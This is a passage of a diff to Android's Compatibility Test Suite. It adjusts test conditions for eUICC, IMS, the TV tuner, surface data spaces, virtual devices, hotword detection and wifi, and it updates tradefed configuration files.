         // disable compact change
@@ -232,11 +230,10 @@
                 SWITCH_WITHOUT_PORT_INDEX_EXCEPTION_ON_DISABLE_STRING);
     }
 
-    @Ignore("b/221887933") // TODO: Enable the test case after framework code is uncommented
     @Test
     public void testSwitchToSubscriptionDisableWithNoPort() throws Exception {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
             return;
         }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 507d0d5..300449c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -3784,6 +3784,8 @@
         bundle.putPersistableBundle(
                 CarrierConfigManager.Ims.KEY_RCS_REQUIRES_PROVISIONING_BUNDLE,
                 innerBundle);
+        bundle.putBoolean(
+                CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, false);
 
         overrideCarrierConfig(bundle);
 
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 91005ed..90e5888 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -2431,6 +2431,51 @@
                 assertEquals(Tuner.RESULT_UNAVAILABLE, status);
             }
         }
+        // validate the behavior of tune
+        FrontendInfo info1 = mTuner.getFrontendInfoById(ids.get(0));
+        FrontendSettings feSettings1 = createFrontendSettings(info1);
+        int type1 = info1.getType();
+        if (ids.size() >= 1) {
+            int originalMax1 = mTuner.getMaxNumberOfFrontends(type1);
+            assertEquals(Tuner.RESULT_SUCCESS, mTuner.tune(feSettings1));
+            assertNotNull(mTuner.getFrontendInfo());
+
+            // validate that set max cannot be set to lower value than current usage
+            assertEquals(Tuner.RESULT_INVALID_ARGUMENT,
+                    mTuner.setMaxNumberOfFrontends(type1, 0));
+
+            // validate max value is reflected in the tune behavior
+            mTuner.closeFrontend();
+            assertEquals(Tuner.RESULT_SUCCESS,
+                    mTuner.setMaxNumberOfFrontends(type1, 0));
+            assertEquals(Tuner.RESULT_UNAVAILABLE,
+                    mTuner.tune(feSettings1));
+
+            assertEquals(Tuner.RESULT_SUCCESS,
+                    mTuner.setMaxNumberOfFrontends(type1, originalMax1));
+            assertEquals(Tuner.RESULT_SUCCESS, mTuner.tune(feSettings1));
+            assertNotNull(mTuner.getFrontendInfo());
+            mTuner.closeFrontend();
+        }
+
+        // validate max number on one frontend type has no impact on other
+        if (ids.size() >= 2) {
+            FrontendInfo info2 = mTuner.getFrontendInfoById(ids.get(1));
+            int type2 = info2.getType();
+            int originalMax2 = mTuner.getMaxNumberOfFrontends(type2);
+
+            assertEquals(Tuner.RESULT_SUCCESS,
+                    mTuner.setMaxNumberOfFrontends(type2, 0));
+            assertEquals(Tuner.RESULT_SUCCESS,
+                    mTuner.tune(feSettings1));
+            assertNotNull(mTuner.getFrontendInfo());
+
+            // set it back to the original max
+            assertEquals(Tuner.RESULT_SUCCESS,
+                    mTuner.setMaxNumberOfFrontends(type2, originalMax2));
+            mTuner.closeFrontend();
+
+        }
     }
 
     public static Filter createTsSectionFilter(
diff --git a/tests/tests/view/src/android/view/cts/SurfaceControlTest.java b/tests/tests/view/src/android/view/cts/SurfaceControlTest.java
index eab4ba5..abb148c 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceControlTest.java
@@ -1193,10 +1193,10 @@
     }
 
     @Test
-    public void testSurfaceTransaction_setDataSpace_bt2020() {
+    public void testSurfaceTransaction_setDataSpace_display_p3() {
         final int darkRed = 0xFF00006F;
         long converted = Color.convert(0x6F / 255.f, 0f, 0f, 1f,
-                ColorSpace.get(ColorSpace.Named.BT2020), ColorSpace.get(ColorSpace.Named.SRGB));
+                ColorSpace.get(ColorSpace.Named.DISPLAY_P3), ColorSpace.get(ColorSpace.Named.SRGB));
         assertTrue(Color.isSrgb(converted));
         int argb = Color.toArgb(converted);
         // PixelChecker uses a ABGR for some reason (endian mismatch with native?), swizzle to match
@@ -1207,7 +1207,7 @@
                     public void surfaceCreated(SurfaceHolder holder) {
                         SurfaceControl surfaceControl = createFromWindow(holder);
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
-                                darkRed, DataSpace.DATASPACE_BT2020);
+                                darkRed, DataSpace.DATASPACE_DISPLAY_P3);
                     }
                 },
                 new PixelChecker(asABGR) { //10000
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java
index bef7167..1829c17 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityBlockingTest.java
@@ -28,6 +28,7 @@
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 
 import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.ArgumentMatchers.argThat;
@@ -47,6 +48,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.graphics.PixelFormat;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.VirtualDisplay;
@@ -110,6 +112,9 @@
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         Context context = getApplicationContext();
+        assumeTrue(
+                context.getPackageManager()
+                        .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
         mResultReceiver = createResultReceiver(mOnReceiveResultListener);
     }
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java
index 8a31fd3..1623afe 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java
@@ -25,6 +25,7 @@
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.ArgumentMatchers.nullable;
 import static org.mockito.Mockito.after;
@@ -45,6 +46,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.hardware.display.VirtualDisplay;
 import android.os.Bundle;
 import android.os.ResultReceiver;
@@ -112,6 +114,9 @@
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         Context context = getApplicationContext();
+        assumeTrue(
+                context.getPackageManager()
+                        .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
         mResultReceiver = VirtualDeviceTestUtils.createResultReceiver(mOnReceiveResultListener);
     }
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java
index 2228ed1..b5eb22b 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java
@@ -28,12 +28,14 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
 
 import android.annotation.Nullable;
 import android.companion.virtual.VirtualDeviceManager;
 import android.companion.virtual.VirtualDeviceManager.VirtualDevice;
 import android.companion.virtual.VirtualDeviceParams;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.hardware.display.VirtualDisplay;
 import android.platform.test.annotations.AppModeFull;
 import android.view.Display;
@@ -83,6 +85,9 @@
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         Context context = getApplicationContext();
+        assumeTrue(
+                context.getPackageManager()
+                        .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
     }
 
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java
index 205daae..6f82521 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java
@@ -28,6 +28,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.TruthJUnit.assume;
 
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.timeout;
@@ -43,6 +44,7 @@
 import android.content.ClipboardManager;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
@@ -98,6 +100,9 @@
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         mContext = getApplicationContext();
+        assumeTrue(
+                mContext.getPackageManager()
+                        .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         mVirtualDeviceManager = mContext.getSystemService(VirtualDeviceManager.class);
         mVirtualDevice =
                 mVirtualDeviceManager.createVirtualDevice(
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java
index 52dbb37..0b5952d 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java
@@ -25,12 +25,14 @@
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 
 import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
 
 import android.annotation.Nullable;
 import android.companion.virtual.VirtualDeviceManager;
 import android.companion.virtual.VirtualDeviceManager.VirtualDevice;
 import android.companion.virtual.VirtualDeviceParams;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.VirtualDisplay;
 import android.platform.test.annotations.AppModeFull;
@@ -74,6 +76,9 @@
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         Context context = getApplicationContext();
+        assumeTrue(
+                context.getPackageManager()
+                        .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
     }
 
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index b5eb4da..1ebad32 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -21,6 +21,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Instrumentation;
 import android.app.compat.CompatChanges;
@@ -87,6 +88,7 @@
     private static PackageManager sPkgMgr = sInstrumentation.getContext().getPackageManager();
     private static boolean wasIndicatorEnabled = false;
     private static String sDefaultScreenOffTimeoutValue;
+    private static boolean sIsAutomotive;
 
     @BeforeClass
     public static void enableIndicators() {
@@ -99,6 +101,7 @@
         sDefaultScreenOffTimeoutValue = SystemUtil.runShellCommand(
                 "settings get system screen_off_timeout");
         SystemUtil.runShellCommand("settings put system screen_off_timeout 600000");
+        sIsAutomotive = sPkgMgr.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
     @AfterClass
@@ -146,6 +149,8 @@
     @RequiresDevice
     public void testHotwordDetectionService_createDetectorTwiceQuickly_triggerSuccess()
             throws Throwable {
+        assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
         Thread.sleep(CLEAR_CHIP_MS);
         final BlockingBroadcastReceiver softwareReceiver = new BlockingBroadcastReceiver(mContext,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT);
@@ -195,6 +200,8 @@
     @RequiresDevice
     public void testHotwordDetectionService_onDetectFromDsp_success()
             throws Throwable {
+        assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
         Thread.sleep(CLEAR_CHIP_MS);
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
@@ -211,6 +218,8 @@
     @RequiresDevice
     public void testHotwordDetectionService_onDetectFromDsp_rejection()
             throws Throwable {
+        assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
         Thread.sleep(CLEAR_CHIP_MS);
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
@@ -242,6 +251,8 @@
     @RequiresDevice
     public void testHotwordDetectionService_onDetectFromMic_success()
             throws Throwable {
+        assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
         Thread.sleep(CLEAR_CHIP_MS);
         // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
@@ -278,6 +289,8 @@
     @Test
     @RequiresDevice
     public void testHotwordDetectionService_concurrentCapture() throws Throwable {
+        assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
         // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
diff --git a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
index 7f76912..dc56f57 100644
--- a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
@@ -36,6 +36,7 @@
 
 import org.junit.Before;
 import org.junit.ClassRule;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -61,6 +62,7 @@
         mUiDevice = UiDevice.getInstance(mInstrumentation);
     }
 
+    @Ignore("b/229946481")
     @Test
     public void popupWindowDismissedOnBackGesture() {
         PopupWindow[] popupWindow = new PopupWindow[1];
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 542456e1..94e95b1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -47,6 +47,7 @@
 import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.location.LocationManager;
 import android.net.ConnectivityManager;
 import android.net.DhcpOption;
 import android.net.wifi.WifiConfiguration;
@@ -81,6 +82,7 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.NoSuchElementException;
+import java.util.Objects;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
@@ -116,6 +118,9 @@
 
         mWifiManager = mContext.getSystemService(WifiManager.class);
         assertThat(mWifiManager).isNotNull();
+        // Location mode must be enabled, otherwise the connection info will be redacted.
+        assertThat(Objects.requireNonNull(mContext.getSystemService(LocationManager.class))
+                .isLocationEnabled()).isTrue();
 
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
 
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index d83bdb2..3b004dd 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -5492,9 +5492,10 @@
                 network.setBssidAllowlist(Collections.emptyList());
                 mWifiManager.updateNetwork(network);
             }
-            // trigger a disconnect and wait for disconnect.
-            mWifiManager.disconnect();
-            waitForDisconnection();
+
+            // Disable and re-enable Wifi to avoid reconnect to the secondary candidate
+            setWifiEnabled(false);
+            setWifiEnabled(true);
 
             // Now trigger scan and ensure that the device does not connect to any networks.
             mWifiManager.startScan();
diff --git a/tests/translation/AndroidManifest.xml b/tests/translation/AndroidManifest.xml
index aab6515..80ac551 100644
--- a/tests/translation/AndroidManifest.xml
+++ b/tests/translation/AndroidManifest.xml
@@ -22,10 +22,16 @@
     <application android:label="Translation TestCase">
         <uses-library android:name="android.test.runner"/>
 
+        <!--
+        EmptyActivity uses a transparent theme so that SimpleActivity below it can have its views
+        translated. See UiTranslationManagerTest#testTranslationAfterStartActivityOnSameTask.
+        -->
         <activity android:name=".EmptyActivity"
                   android:label="EmptyActivity"
-                  android:exported="true">
+                  android:exported="true"
+                  android:theme="@style/TransparentTheme">
         </activity>
+
         <activity android:name=".SimpleActivity"
                   android:label="SimpleActivity"
                   android:exported="true">
diff --git a/tests/translation/res/values/styles.xml b/tests/translation/res/values/styles.xml
new file mode 100644
index 0000000..3dd2eb6
--- /dev/null
+++ b/tests/translation/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <style name="TransparentTheme">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowContentOverlay">@null</item>
+        <item name="android:backgroundDimEnabled">false</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tools/cts-tradefed/res/config/cts-multidevice.xml b/tools/cts-tradefed/res/config/cts-multidevice.xml
index 7453154..d56351b 100644
--- a/tools/cts-tradefed/res/config/cts-multidevice.xml
+++ b/tools/cts-tradefed/res/config/cts-multidevice.xml
@@ -22,4 +22,7 @@
     <!-- CTS multi device test cases only-->
     <option name="multi-devices-modules" value="ONLY_MULTI_DEVICES" />
 
+    <!-- Enable multi-devices automatically, and limit CTS to 2 devices -->
+    <option name="replicate-parent-setup" value="true" />
+    <option name="multi-device-count" value="2" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 69fd781..cbd7611 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -81,6 +81,9 @@
     <!-- b/183636777 Remove CtsShortcutManagerPackage4 from cts-on-gsi -->
     <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage4" />
 
+    <!-- b/230829938 Remove CtsShortcutHostTestCases from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsShortcutHostTestCases" />
+
     <!-- b/185451791. Can't have single overlay package for both AOSP version and Google-signed mainline modules -->
     <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testPersistentGroupOperation" />
     <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testRequestNetworkInfo" />